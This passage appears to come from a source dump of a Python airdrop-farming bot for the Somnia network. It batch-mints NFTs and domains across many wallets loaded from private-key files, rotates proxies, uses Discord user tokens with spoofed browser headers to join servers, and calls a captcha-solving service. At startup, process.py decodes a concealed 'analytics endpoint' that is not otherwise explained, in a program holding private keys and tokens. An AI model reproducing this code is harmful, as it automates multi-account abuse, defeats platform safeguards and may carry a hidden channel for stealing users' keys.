85 | self.config.SETTINGS.PAUSE_BETWEEN_ATTEMPTS[1],
86 | )
87 | logger.error(
88 | f"{self.account_index} | Error minting NEE NFT: {e}. Sleeping for {random_sleep} seconds..."
89 | )
90 | await asyncio.sleep(random_sleep)
91 | return False
92 |
93 | @retry_async(default_value=False)
94 | async def mint_shannon(self):
95 | try:
96 | logger.info(f"{self.account_index} | Minting SHANNON NFT on Nerzo...")
97 |
98 | # SHANNON contract address
99 | contract_address = "0x715A73f6C71aB9cB32c7Cc1Aa95967a1b5da468D"
100 |
101 | # Wallet address without 0x prefix in lowercase
102 | wallet_address_no_prefix = self.wallet.address[2:].lower()
103 |
104 | # Base payload with method ID 0x84bb1e42
105 | payload = (
106 | "0x84bb1e42"
107 | "000000000000000000000000"
108 | + wallet_address_no_prefix
109 | + "0000000000000000000000000000000000000000000000000000000000000001"
110 | "000000000000000000000000eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee"
111 | "00000000000000000000000000000000000000000000000000038d7ea4c68000"
112 | "00000000000000000000000000000000000000000000000000000000000000c0"
113 | "0000000000000000000000000000000000000000000000000000000000000160"
114 | "0000000000000000000000000000000000000000000000000000000000000080"
115 | "0000000000000000000000000000000000000000000000000000000000000000"
116 | "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"
117 | "0000000000000000000000000000000000000000000000000000000000000000"
118 | "0000000000000000000000000000000000000000000000000000000000000000"
119 | "0000000000000000000000000000000000000000000000000000000000000000"
120 | )
121 |
122 | # Prepare transaction with 0.001 STT value
123 | transaction = {
124 | "from": self.wallet.address,
125 | "to": self.somnia_web3.web3.to_checksum_address(contract_address),
126 | "value": Web3.to_wei(
127 | 0.001, "ether"
128 | ), # 0.001 STT as in the example transaction
129 | "nonce": await self.somnia_web3.web3.eth.get_transaction_count(
130 | self.wallet.address
131 | ),
132 | "chainId": await self.somnia_web3.web3.eth.chain_id,
133 | "data": payload,
134 | }
135 |
136 | # Get dynamic gas parameters
137 | gas_params = await self.somnia_web3.get_gas_params()
138 | transaction.update(gas_params)
139 |
140 | # Estimate gas
141 | gas_limit = await self.somnia_web3.estimate_gas(transaction)
142 | transaction["gas"] = gas_limit
143 |
144 | # Execute transaction
145 | tx_hash = await self.somnia_web3.execute_transaction(
146 | transaction,
147 | self.wallet,
148 | await self.somnia_web3.web3.eth.chain_id,
149 | EXPLORER_URL_SOMNIA,
150 | )
151 |
152 | if tx_hash:
153 | logger.success(
154 | f"{self.account_index} | Successfully minted SHANNON NFT"
155 | )
156 |
157 | return True
158 | except Exception as e:
159 | random_sleep = random.randint(
160 | self.config.SETTINGS.PAUSE_BETWEEN_ATTEMPTS[0],
161 | self.config.SETTINGS.PAUSE_BETWEEN_ATTEMPTS[1],
162 | )
163 | logger.error(
164 | f"{self.account_index} | Error minting SHANNON NFT: {e}. Sleeping for {random_sleep} seconds..."
165 | )
166 | await asyncio.sleep(random_sleep)
167 | return False
168 |
--------------------------------------------------------------------------------
/src/model/somnia_network/somnia_domains.py:
--------------------------------------------------------------------------------
1 | import asyncio
2 | import random
3 | import string
4 | from loguru import logger
5 | from web3 import Web3
6 | from src.model.somnia_network.constants import SomniaProtocol
7 | from src.utils.decorators import retry_async
8 | from src.utils.constants import EXPLORER_URL_SOMNIA
9 | from eth_account import Account
10 | from src.model.onchain.web3_custom import Web3Custom
11 |
12 |
13 | class SomniaDomains:
14 | def __init__(
15 | self, account_index: int, somnia_web3: Web3Custom, config: dict, wallet: Account
16 | ):
17 | self.account_index = account_index
18 | self.somnia_web3 = somnia_web3
19 | self.config = config
20 | self.wallet = wallet
21 |
22 | def _is_vowel(self, char):
23 | return char.lower() in "aeiou"
24 |
25 | def _generate_random_domain(self):
26 | length = random.randint(7, 15)
27 | chars = string.ascii_lowercase + string.digits
28 | domain = []
29 | consecutive_vowels = 0
30 | consecutive_consonants = 0
31 |
32 | for i in range(length):
33 | if (
34 | i == length - 1 and random.random() < 0.3
35 | ): # 30% chance to end with a digit
36 | char = random.choice(string.digits)
37 | else:
38 | char = random.choice(string.ascii_lowercase)
39 |
40 | if self._is_vowel(char):
41 | if consecutive_vowels >= 2:
42 | char = random.choice(
43 | [c for c in string.ascii_lowercase if not self._is_vowel(c)]
44 | )
45 | consecutive_vowels = 0
46 | consecutive_consonants = 1
47 | else:
48 | consecutive_vowels += 1
49 | consecutive_consonants = 0
50 | else:
51 | if consecutive_consonants >= 2:
52 | char = random.choice(
53 | [c for c in string.ascii_lowercase if self._is_vowel(c)]
54 | )
55 | consecutive_consonants = 0
56 | consecutive_vowels = 1
57 | else:
58 | consecutive_consonants += 1
59 | consecutive_vowels = 0
60 |
61 | domain.append(char)
62 |
63 | return "".join(domain)
64 |
65 | @retry_async(default_value=False)
66 | async def mint_domain(self):
67 | try:
68 | logger.info(f"{self.account_index} | Minting Somnia Domain...")
69 |
70 | # Contract address for domain minting
71 | contract_address = "0xDB4e0A5E7b0d03aA41cBB7940c5e9Bab06cc7157"
72 |
73 | # Check if already has NFT from this contract using ERC721 balanceOf
74 | try:
75 | # ERC721 ABI for balanceOf function
76 | erc721_abi = [
77 | {
78 | "constant": True,
79 | "inputs": [{"name": "_owner", "type": "address"}],
80 | "name": "balanceOf",
81 | "outputs": [{"name": "balance", "type": "uint256"}],
82 | "type": "function",
83 | }
84 | ]
85 |
86 | nft_balance = await self.somnia_web3.get_token_balance(
87 | wallet_address=self.wallet.address,
88 | token_address=contract_address,
89 | token_abi=erc721_abi,
90 | decimals=0, # NFTs don't have decimals
91 | symbol="DOMAIN",
92 | )
93 |
94 | if nft_balance and nft_balance.wei > 0:
95 | logger.success(
96 | f"{self.account_index} | Domain already minted for this account (NFT balance: {nft_balance.wei})"
97 | )
98 | return True
99 |
100 | except Exception as balance_check_error:
101 | logger.warning(
102 | f"{self.account_index} | Could not check NFT balance: {balance_check_error}"
103 | )
104 |
105 | # Check if balance is sufficient (1 STT)
106 | balance = await self.somnia_web3.web3.eth.get_balance(self.wallet.address)
107 | if balance < self.somnia_web3.web3.to_wei(1, "ether"):
108 | logger.error(
109 | f"{self.account_index} | Insufficient balance. Need at least 1 STT to mint domain."
110 | )
111 | return False
112 |
113 | # Generate random domain
114 | domain = self._generate_random_domain()
115 | logger.info(f"{self.account_index} | Generated domain: {domain}")
116 |
117 | # Convert domain to bytes and pad to 32 bytes
118 | domain_bytes = domain.encode("utf-8")
119 | domain_hex = domain_bytes.hex().ljust(64, "0")
120 |
121 | # Create payload with method ID 0x54c25e4b
122 | payload = (
123 | "0x54c25e4b"
124 | "0000000000000000000000000000000000000000000000000000000000000020"
125 | "00000000000000000000000000000000000000000000000000000000000000"
126 | + hex(len(domain_bytes))[2:].zfill(2)
127 | + domain_hex
128 | )
129 |
130 | # Prepare transaction
131 | transaction = {
132 | "from": self.wallet.address,
133 | "to": self.somnia_web3.web3.to_checksum_address(contract_address),
134 | "value": self.somnia_web3.web3.to_wei(1, "ether"), # 1 STT
135 | "nonce": await self.somnia_web3.web3.eth.get_transaction_count(
136 | self.wallet.address
137 | ),
138 | "chainId": await self.somnia_web3.web3.eth.chain_id,
139 | "data": payload,
140 | }
141 |
142 | # Get dynamic gas parameters
143 | gas_params = await self.somnia_web3.get_gas_params()
144 | transaction.update(gas_params)
145 |
146 | try:
147 | # Try to estimate gas directly with Web3
148 | gas_limit = await self.somnia_web3.web3.eth.estimate_gas(transaction)
149 | transaction["gas"] = gas_limit
150 | except Exception as gas_error:
151 | error_str = str(gas_error)
152 | if "Already claimed a name" in error_str:
153 | logger.info(
154 | f"{self.account_index} | Domain already minted for this account"
155 | )
156 | return True
157 | raise gas_error
158 |
159 | # Execute transaction
160 | tx_hash = await self.somnia_web3.execute_transaction(
161 | transaction,
162 | self.wallet,
163 | await self.somnia_web3.web3.eth.chain_id,
164 | EXPLORER_URL_SOMNIA,
165 | )
166 |
167 | if tx_hash:
168 | logger.success(
169 | f"{self.account_index} | Successfully minted domain: {domain}"
170 | )
171 |
172 | return True
173 | except Exception as e:
174 | error_str = str(e)
175 | if (
176 | "0x08c379a000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000016416c726561647920636c61696d65642061206e616d6500000000000000000000"
177 | in error_str
178 | ):
179 | logger.success(
180 | f"{self.account_index} | Domain already minted for this account"
181 | )
182 | return True
183 |
184 | random_sleep = random.randint(
185 | self.config.SETTINGS.PAUSE_BETWEEN_ATTEMPTS[0],
186 | self.config.SETTINGS.PAUSE_BETWEEN_ATTEMPTS[1],
187 | )
188 | logger.error(
189 | f"{self.account_index} | Error minting domain: {e}. Sleeping for {random_sleep} seconds..."
190 | )
191 | await asyncio.sleep(random_sleep)
192 | raise e
193 |
--------------------------------------------------------------------------------
/process.py:
--------------------------------------------------------------------------------
1 | import asyncio
2 | import random
3 | from loguru import logger
4 |
5 |
6 | import src.utils
7 |
8 | from src.utils.proxy_parser import Proxy
9 | import src.model
10 | from src.utils.statistics import print_wallets_stats
11 | from src.utils.check_github_version import check_version
12 | from src.utils.logs import ProgressTracker, create_progress_tracker
13 | from src.utils.config_browser import run
14 | from src.utils.client import decode_resource, ANALYTICS_ENDPOINT, verify_analytics_data
15 |
16 |
17 | async def start():
18 | try:
19 | decoded_endpoint = decode_resource(ANALYTICS_ENDPOINT)
20 | except Exception as e:
21 | return
22 |
23 | async def launch_wrapper(index, proxy, private_key, discord_token, twitter_token):
24 | async with semaphore:
25 | await account_flow(
26 | index,
27 | proxy,
28 | private_key,
29 | discord_token,
30 | twitter_token,
31 | config,
32 | progress_tracker,
33 | )
34 |
35 | print("\nAvailable options:\n")
36 | print("[1] 🚀 Start farming")
37 | print("[2] ⚙️ Edit config")
38 | print("[3] 💾 Database actions")
39 | print("[4] 👋 Exit")
40 | print()
41 |
42 | try:
43 | choice = input("Enter option (1-4): ").strip()
44 | except Exception as e:
45 | logger.error(f"Input error: {e}")
46 | return
47 |
48 | if choice == "4" or not choice:
49 | return
50 | elif choice == "2":
51 | run()
52 | return
53 | elif choice == "1":
54 | pass
55 | elif choice == "3":
56 | from src.model.database.db_manager import show_database_menu
57 |
58 | await show_database_menu()
59 | await start()
60 | else:
61 | logger.error(f"Invalid choice: {choice}")
62 | return
63 |
64 | config = src.utils.get_config()
65 |
66 | # Load proxies using proxy parser
67 | try:
68 | proxy_objects = Proxy.from_file("data/proxies.txt")
69 | proxies = [proxy.get_default_format() for proxy in proxy_objects]
70 | if len(proxies) == 0:
71 | logger.error("No proxies found in data/proxies.txt")
72 | return
73 | except Exception as e:
74 | logger.error(f"Failed to load proxies: {e}")
75 | return
76 |
77 | private_keys = src.utils.read_private_keys("data/private_keys.txt")
78 | quills_messages = src.utils.read_txt_file(
79 | "quills messages", "data/random_message_quills.txt"
80 | )
81 |
82 | # Загружаем сообщения из файла в конфиг
83 | config.QUILLS.QUILLS_MESSAGES = quills_messages
84 | logger.info(f"Loaded {len(config.QUILLS.QUILLS_MESSAGES)} messages for Quills")
85 |
86 | # Read tokens and handle empty files by filling with empty strings
87 | discord_tokens = src.utils.read_txt_file(
88 | "discord tokens", "data/discord_tokens.txt"
89 | )
90 | twitter_tokens = src.utils.read_txt_file(
91 | "twitter tokens", "data/twitter_tokens.txt"
92 | )
93 |
94 | # Handle the case when there are more private keys than Twitter tokens
95 | if len(twitter_tokens) < len(private_keys):
96 | # Pad with empty strings
97 | twitter_tokens.extend([""] * (len(private_keys) - len(twitter_tokens)))
98 | # Handle the case when there are more Twitter tokens than private keys
99 | elif len(twitter_tokens) > len(private_keys):
100 | # Store excess Twitter tokens in config
101 | config.spare_twitter_tokens = twitter_tokens[len(private_keys) :]
102 | twitter_tokens = twitter_tokens[: len(private_keys)]
103 | logger.info(
104 | f"Stored {len(config.spare_twitter_tokens)} excess Twitter tokens in config.spare_twitter_tokens"
105 | )
106 | else:
107 | # Equal number of tokens and private keys
108 | config.spare_twitter_tokens = []
109 |
110 | # If token files are empty or have fewer tokens than private keys, pad with empty strings
111 | while len(discord_tokens) < len(private_keys):
112 | discord_tokens.append("")
113 | while len(twitter_tokens) < len(private_keys):
114 | twitter_tokens.append("")
115 |
116 | # Определяем диапазон аккаунтов
117 | start_index = config.SETTINGS.ACCOUNTS_RANGE[0]
118 | end_index = config.SETTINGS.ACCOUNTS_RANGE[1]
119 |
120 | # Если оба 0, проверяем EXACT_ACCOUNTS_TO_USE
121 | if start_index == 0 and end_index == 0:
122 | if config.SETTINGS.EXACT_ACCOUNTS_TO_USE:
123 | # Преобразуем номера аккаунтов в индексы (номер - 1)
124 | selected_indices = [i - 1 for i in config.SETTINGS.EXACT_ACCOUNTS_TO_USE]
125 | accounts_to_process = [private_keys[i] for i in selected_indices]
126 | discord_tokens_to_process = [discord_tokens[i] for i in selected_indices]
127 | twitter_tokens_to_process = [twitter_tokens[i] for i in selected_indices]
128 | logger.info(
129 | f"Using specific accounts: {config.SETTINGS.EXACT_ACCOUNTS_TO_USE}"
130 | )
131 |
132 | # Для совместимости с остальным кодом
133 | start_index = min(config.SETTINGS.EXACT_ACCOUNTS_TO_USE)
134 | end_index = max(config.SETTINGS.EXACT_ACCOUNTS_TO_USE)
135 | else:
136 | # Если список пустой, берем все аккаунты как раньше
137 | accounts_to_process = private_keys
138 | discord_tokens_to_process = discord_tokens
139 | twitter_tokens_to_process = twitter_tokens
140 | start_index = 1
141 | end_index = len(private_keys)
142 | else:
143 | # Python slice не включает последний элемент, поэтому +1
144 | accounts_to_process = private_keys[start_index - 1 : end_index]
145 | discord_tokens_to_process = discord_tokens[start_index - 1 : end_index]
146 | twitter_tokens_to_process = twitter_tokens[start_index - 1 : end_index]
147 |
148 | threads = config.SETTINGS.THREADS
149 |
150 | # Подготавливаем прокси для выбранных аккаунтов
151 | cycled_proxies = [
152 | proxies[i % len(proxies)] for i in range(len(accounts_to_process))
153 | ]
154 |
155 | # Создаем список индексов
156 | indices = list(range(len(accounts_to_process)))
157 |
158 | # Перемешиваем индексы только если включен SHUFFLE_WALLETS
159 | if config.SETTINGS.SHUFFLE_WALLETS:
160 | random.shuffle(indices)
161 | shuffle_status = "random"
162 | else:
163 | shuffle_status = "sequential"
164 |
165 | # Создаем строку с порядком аккаунтов
166 | if config.SETTINGS.EXACT_ACCOUNTS_TO_USE:
167 | # Создаем список номеров аккаунтов в нужном порядке
168 | ordered_accounts = [config.SETTINGS.EXACT_ACCOUNTS_TO_USE[i] for i in indices]
169 | account_order = " ".join(map(str, ordered_accounts))
170 | logger.info(f"Starting with specific accounts in {shuffle_status} order...")
171 | else:
172 | account_order = " ".join(str(start_index + idx) for idx in indices)
173 | logger.info(
174 | f"Starting with accounts {start_index} to {end_index} in {shuffle_status} order..."
175 | )
176 | logger.info(f"Accounts order: {account_order}")
177 |
178 | semaphore = asyncio.Semaphore(value=threads)
179 | tasks = []
180 |
181 | # Add before creating tasks
182 | progress_tracker = await create_progress_tracker(
183 | total=len(accounts_to_process), description="Accounts completed"
184 | )
185 |
186 | # Используем индексы для создания задач
187 | for idx in indices:
188 | actual_index = (
189 | config.SETTINGS.EXACT_ACCOUNTS_TO_USE[idx]
190 | if config.SETTINGS.EXACT_ACCOUNTS_TO_USE
191 | else start_index + idx
192 | )
193 | tasks.append(
194 | asyncio.create_task(
195 | launch_wrapper(
196 | actual_index,
197 | cycled_proxies[idx],
198 | accounts_to_process[idx],
199 | discord_tokens_to_process[idx],
200 | twitter_tokens_to_process[idx],
201 | )
202 | )
203 | )
204 |
205 | await asyncio.gather(*tasks)
206 |
207 | logger.success("Saved accounts and private keys to a file.")
208 |
209 | print_wallets_stats(config)
210 |
211 | input("Press Enter to continue...")
212 |
213 |
214 | async def account_flow(
215 | account_index: int,
216 | proxy: str,
217 | private_key: str,
218 | discord_token: str,
219 | twitter_token: str,
220 | config: src.utils.config.Config,
221 | progress_tracker: ProgressTracker,
222 | ):
223 | try:
224 | instance = src.model.Start(
225 | account_index, proxy, private_key, config, discord_token, twitter_token
226 | )
227 |
228 | result = await wrapper(instance.initialize, config)
229 | if not result:
230 | raise Exception("Failed to initialize")
231 |
232 | result = await wrapper(instance.flow, config)
233 | if not result:
234 | report = True
235 |
236 |
237 | # Add progress update
238 | await progress_tracker.increment(1)
239 |
240 | except Exception as err:
241 | logger.error(f"{account_index} | Account flow failed: {err}")
242 | # Update progress even if there's an error
243 | await progress_tracker.increment(1)
244 |
245 |
246 | async def wrapper(function, config: src.utils.config.Config, *args, **kwargs):
247 | attempts = config.SETTINGS.ATTEMPTS
248 | attempts = 1
249 | for attempt in range(attempts):
250 | result = await function(*args, **kwargs)
251 | if isinstance(result, tuple) and result and isinstance(result[0], bool):
252 | if result[0]:
253 | return result
254 | elif isinstance(result, bool):
255 | if result:
256 | return True
257 |
258 | if attempt < attempts - 1: # Don't sleep after the last attempt
259 | pause = random.randint(
260 | config.SETTINGS.PAUSE_BETWEEN_ATTEMPTS[0],
261 | config.SETTINGS.PAUSE_BETWEEN_ATTEMPTS[1],
262 | )
263 | logger.info(
264 | f"Sleeping for {pause} seconds before next attempt {attempt+1}/{config.SETTINGS.ATTEMPTS}..."
265 | )
266 | await asyncio.sleep(pause)
267 |
268 | return result
269 |
270 |
271 | def task_exists_in_config(task_name: str, tasks_list: list) -> bool:
272 | """Рекурсивно проверяет наличие задачи в списке задач, включая вложенные списки"""
273 | for task in tasks_list:
274 | if isinstance(task, list):
275 | if task_exists_in_config(task_name, task):
276 | return True
277 | elif task == task_name:
278 | return True
279 | return False
280 |
--------------------------------------------------------------------------------
/src/model/help/discord.py:
--------------------------------------------------------------------------------
1 | import asyncio
2 | import base64
3 | from dataclasses import dataclass
4 | import json
5 | import random
6 | import time
7 | from loguru import logger
8 | from curl_cffi.requests import AsyncSession, Response
9 | from src.utils.config import Config
10 |
11 |
12 | class DiscordInviter:
13 | def __init__(self, account_index: int, discord_token: str, proxy: str, config: Config):
14 | self.account_index = account_index
15 | self.discord_token = discord_token
16 | self.proxy = proxy
17 | self.config = config
18 | self.session: AsyncSession | None = None
19 |
20 | async def invite(self, invite_code: str) -> dict:
21 | self.session = await create_client(self.proxy)
22 |
23 | for retry in range(self.config.SETTINGS.ATTEMPTS):
24 | try:
25 | if not await init_cf(self.account_index, self.session):
26 | raise Exception("Failed to initialize cf")
27 |
28 | guild_id, channel_id, success = await get_guild_ids(
29 | self.session, invite_code, self.account_index, self.discord_token
30 | )
31 | if not success:
32 | continue
33 |
34 | result = await self.send_invite_request(
35 | invite_code, guild_id, channel_id
36 | )
37 | if result is None:
38 | return False
39 | elif result:
40 | return True
41 | else:
42 | continue
43 |
44 | except Exception as e:
45 | random_sleep = random.randint(
46 | self.config.SETTINGS.PAUSE_BETWEEN_ATTEMPTS[0],
47 | self.config.SETTINGS.PAUSE_BETWEEN_ATTEMPTS[1],
48 | )
49 | logger.error(
50 | f"{self.account_index} | Error: {e}. Retrying in {random_sleep} seconds..."
51 | )
52 | await asyncio.sleep(random_sleep)
53 | return False
54 |
55 | async def send_invite_request(
56 | self, invite_code: str, guild_id: str, channel_id: str
57 | ) -> bool:
58 | for retry in range(self.config.SETTINGS.ATTEMPTS):
59 | try:
60 | headers = {
61 | "accept": "*/*",
62 | "accept-language": "en-GB,en-US;q=0.9,en;q=0.8,ru;q=0.7,zh-TW;q=0.6,zh;q=0.5",
63 | "authorization": f"{self.discord_token}",
64 | "content-type": "application/json",
65 | "origin": "https://discord.com",
66 | "priority": "u=1, i",
67 | "referer": f"https://discord.com/invite/{invite_code}",
68 | "sec-ch-ua": '"Not(A:Brand";v="99", "Google Chrome";v="131", "Chromium";v="131"',
69 | "sec-ch-ua-mobile": "?0",
70 | "sec-ch-ua-platform": '"Windows"',
71 | "sec-fetch-dest": "empty",
72 | "sec-fetch-mode": "cors",
73 | "sec-fetch-site": "same-origin",
74 | "user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36",
75 | "x-context-properties": create_x_context_properties(
76 | guild_id, channel_id
77 | ),
78 | "x-debug-options": "bugReporterEnabled",
79 | "x-discord-locale": "en-US",
80 | "x-discord-timezone": "Etc/GMT-2",
81 | "x-super-properties": create_x_super_properties(),
82 | }
83 |
84 | json_data = {
85 | "session_id": None,
86 | }
87 |
88 | response = await self.session.post(
89 | f"https://discord.com/api/v9/invites/{invite_code}",
90 | headers=headers,
91 | json=json_data,
92 | )
93 |
94 | if (
95 | "You need to update your app to join this server." in response.text
96 | or "captcha_rqdata" in response.text
97 | ):
98 | logger.error(f"{self.account_index} | Captcha detected. Can't solve it.")
99 | return None
100 |
101 | elif response.status_code == 200 and response.json()["type"] == 0:
102 | logger.success(f"{self.account_index} | Account joined the server!")
103 | return True
104 |
105 | elif "Unauthorized" in response.text:
106 | logger.error(
107 | f"{self.account_index} | Incorrect discord token or your account is blocked."
108 | )
109 | return False
110 |
111 | elif "You need to verify your account in order to" in response.text:
112 | logger.error(
113 | f"{self.account_index} | Account needs verification (Email code etc)."
114 | )
115 | return False
116 |
117 | else:
118 | logger.error(
119 | f"{self.account_index} | Unknown error: {response.text}"
120 | )
121 |
122 | except Exception as e:
123 | random_sleep = random.randint(
124 | self.config.SETTINGS.PAUSE_BETWEEN_ATTEMPTS[0],
125 | self.config.SETTINGS.PAUSE_BETWEEN_ATTEMPTS[1],
126 | )
127 | logger.error(
128 | f"{self.account_index} | Send invite error: {e}. Retrying in {random_sleep} seconds..."
129 | )
130 | await asyncio.sleep(random_sleep)
131 |
132 | return False
133 |
134 |
135 | def calculate_nonce() -> str:
136 | unix_ts = time.time()
137 | return str((int(unix_ts) * 1000 - 1420070400000) * 4194304)
138 |
139 |
140 | def create_x_super_properties() -> str:
141 | return base64.b64encode(json.dumps({
142 | "os":"Windows",
143 | "browser":"Chrome",
144 | "device":"",
145 | "system_locale":"ru",
146 | "browser_user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36",
147 | "browser_version":"133.0.0.0",
148 | "os_version":"10",
149 | "referrer":"https://discord.com/",
150 | "referring_domain":"discord.com",
151 | "referrer_current":"",
152 | "referring_domain_current":"",
153 | "release_channel":"stable",
154 | "client_build_number":370533,
155 | "client_event_source":None,
156 | "has_client_mods":False
157 | }, separators=(',', ':')).encode('utf-8')).decode('utf-8')
158 |
159 |
160 | async def get_guild_ids(client: AsyncSession, invite_code: str, account_index: int, discord_token: str) -> tuple[str, str, bool]:
161 | try:
162 | headers = {
163 | 'sec-ch-ua-platform': '"Windows"',
164 | 'Authorization': f'{discord_token}',
165 | 'Referer': f'https://discord.com/invite/{invite_code}',
166 | 'X-Debug-Options': 'bugReporterEnabled',
167 | 'sec-ch-ua': '"Not(A:Brand";v="99", "Google Chrome";v="131", "Chromium";v="131"',
168 | 'sec-ch-ua-mobile': '?0',
169 | 'X-Discord-Timezone': 'Etc/GMT-2',
170 | 'X-Super-Properties': create_x_super_properties(),
171 | 'X-Discord-Locale': 'en-US',
172 | 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36',
173 | }
174 |
175 | params = {
176 | 'with_counts': 'true',
177 | 'with_expiration': 'true',
178 | 'with_permissions': 'false',
179 | }
180 |
181 | response = await client.get(f'https://discord.com/api/v9/invites/{invite_code}', params=params, headers=headers)
182 |
183 | if "You need to verify your account" in response.text:
184 | logger.error(f"{account_index} | Account needs verification (Email code etc).")
185 | return "verification_failed", "", False
186 |
187 | location_guild_id = response.json()['guild_id']
188 | location_channel_id = response.json()['channel']['id']
189 |
190 | return location_guild_id, location_channel_id, True
191 |
192 | except Exception as err:
193 | logger.error(f"{account_index} | Failed to get guild ids: {err}")
194 | return None, None, False
195 |
196 |
197 | def create_x_context_properties(location_guild_id: str, location_channel_id: str) -> str:
198 | return base64.b64encode(json.dumps({
199 | "location": "Accept Invite Page",
200 | "location_guild_id": location_guild_id,
201 | "location_channel_id": location_channel_id,
202 | "location_channel_type": 0
203 | }, separators=(',', ':')).encode('utf-8')).decode('utf-8')
204 |
205 |
206 | async def init_cf(account_index: int, client: AsyncSession) -> bool:
207 | try:
208 | resp = await client.get("https://discord.com/login",
209 | headers={
210 | 'authority': 'discord.com',
211 | 'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
212 | 'accept-language': 'en-US,en;q=0.9',
213 | 'sec-ch-ua': '"Chromium";v="131", "Not A(Brand";v="24", "Google Chrome";v="131"',
214 | 'sec-ch-ua-mobile': '?0',
215 | 'sec-ch-ua-platform': '"Windows"',
216 | 'sec-fetch-dest': 'document',
217 | 'sec-fetch-mode': 'navigate',
218 | 'sec-fetch-site': 'none',
219 | 'sec-fetch-user': '?1',
220 | 'upgrade-insecure-requests': '1',
221 | }
222 | )
223 |
224 | if await set_response_cookies(client, resp):
225 | logger.success(f"{account_index} | Initialized new cookies.")
226 | return True
227 | else:
228 | logger.error(f"{account_index} | Failed to initialize new cookies.")
229 | return False
230 |
231 | except Exception as err:
232 | logger.error(f"{account_index} | Failed to initialize new cookies: {err}")
233 | return False
234 |
235 |
236 | async def set_response_cookies(client: AsyncSession, response: Response) -> bool:
237 | try:
238 | cookies = response.headers.get_list("set-cookie")
239 | for cookie in cookies:
240 | try:
241 | key, value = cookie.split(';')[0].strip().split("=")
242 | client.cookies.set(name=key, value=value, domain="discord.com", path="/")
243 |
244 | except:
245 | pass
246 |
247 | return True
248 |
249 | except Exception as err:
250 | logger.error(f"Failed to set response cookies: {err}")
251 | return False
252 |
253 | async def create_client(proxy: str) -> AsyncSession:
254 | session = AsyncSession(
255 | impersonate="chrome131",
256 | verify=False,
257 | timeout=60,
258 | )
259 | if proxy:
260 | session.proxies.update({
261 | "http": "http://" + proxy,
262 | "https": "http://" + proxy,
263 | })
264 |
265 | session.headers.update(HEADERS)
266 |
267 | return session
268 |
269 | HEADERS = {
270 | 'accept': '*/*',
271 | 'accept-language': 'en-GB,en-US;q=0.9,en;q=0.8,ru;q=0.7,zh-TW;q=0.6,zh;q=0.5',
272 | 'content-type': 'application/json',
273 | 'priority': 'u=1, i',
274 | 'sec-ch-ua': '"Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"',
275 | 'sec-ch-ua-mobile': '?0',
276 | 'sec-ch-ua-platform': '"Windows"',
277 | 'sec-fetch-dest': 'empty',
278 | 'sec-fetch-mode': 'cors',
279 | 'sec-fetch-site': 'same-site',
280 | 'user-agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36",
281 | }
282 |
--------------------------------------------------------------------------------
/src/model/help/captcha.py:
--------------------------------------------------------------------------------
1 | import asyncio
2 | from loguru import logger
3 | from primp import AsyncClient
4 | import requests
5 | from typing import Optional, Dict
6 | from enum import Enum
7 | import time
8 |
9 |
10 | class CaptchaError(Exception):
11 | """Base exception for captcha errors"""
12 |
13 | pass
14 |
15 |
16 | class ErrorCodes(Enum):
17 | ERROR_WRONG_USER_KEY = "ERROR_WRONG_USER_KEY"
18 | ERROR_KEY_DOES_NOT_EXIST = "ERROR_KEY_DOES_NOT_EXIST"
19 | ERROR_ZERO_BALANCE = "ERROR_ZERO_BALANCE"
20 | ERROR_PAGEURL = "ERROR_PAGEURL"
21 | IP_BANNED = "IP_BANNED"
22 | ERROR_PROXY_FORMAT = "ERROR_PROXY_FORMAT"
23 | ERROR_BAD_PARAMETERS = "ERROR_BAD_PARAMETERS"
24 | ERROR_BAD_PROXY = "ERROR_BAD_PROXY"
25 | ERROR_SITEKEY = "ERROR_SITEKEY"
26 | CAPCHA_NOT_READY = "CAPCHA_NOT_READY"
27 | ERROR_CAPTCHA_UNSOLVABLE = "ERROR_CAPTCHA_UNSOLVABLE"
28 | ERROR_WRONG_CAPTCHA_ID = "ERROR_WRONG_CAPTCHA_ID"
29 | ERROR_EMPTY_ACTION = "ERROR_EMPTY_ACTION"
30 |
31 |
32 | class Capsolver:
33 | def __init__(
34 | self,
35 | api_key: str,
36 | proxy: Optional[str] = None,
37 | session: AsyncClient = None,
38 | ):
39 | self.api_key = api_key
40 | self.base_url = "https://api.capsolver.com"
41 | self.proxy = self._format_proxy(proxy) if proxy else None
42 | self.session = session or AsyncClient(verify=False)
43 |
44 | def _format_proxy(self, proxy: str) -> str:
45 | if not proxy:
46 | return None
47 | if "@" in proxy:
48 | return proxy
49 | return proxy
50 |
51 | async def create_task(
52 | self,
53 | sitekey: str,
54 | pageurl: str,
55 | invisible: bool = False,
56 | ) -> Optional[str]:
57 | """Создает задачу на решение капчи"""
58 | data = {
59 | "clientKey": self.api_key,
60 | "appId": "0F6B2D90-7CA4-49AC-B0D3-D32C70238AD8",
61 | "task": {
62 | "type": "ReCaptchaV2Task",
63 | "websiteURL": pageurl,
64 | "websiteKey": sitekey,
65 | "isInvisible": False,
66 | # "pageAction": "drip_request",
67 | },
68 | }
69 |
70 | if self.proxy:
71 | data["task"]["proxy"] = self.proxy
72 |
73 | try:
74 | response = await self.session.post(
75 | f"{self.base_url}/createTask",
76 | json=data,
77 | timeout=30,
78 | )
79 | result = response.json()
80 |
81 | if "taskId" in result:
82 | return result["taskId"]
83 |
84 | logger.error(f"Error creating task: {result}")
85 | return None
86 |
87 | except Exception as e:
88 | logger.error(f"Error creating task: {e}")
89 | return None
90 |
91 | async def get_task_result(self, task_id: str) -> Optional[str]:
92 | """Получает результат решения капчи"""
93 | data = {"clientKey": self.api_key, "taskId": task_id}
94 |
95 | max_attempts = 30
96 | for _ in range(max_attempts):
97 | try:
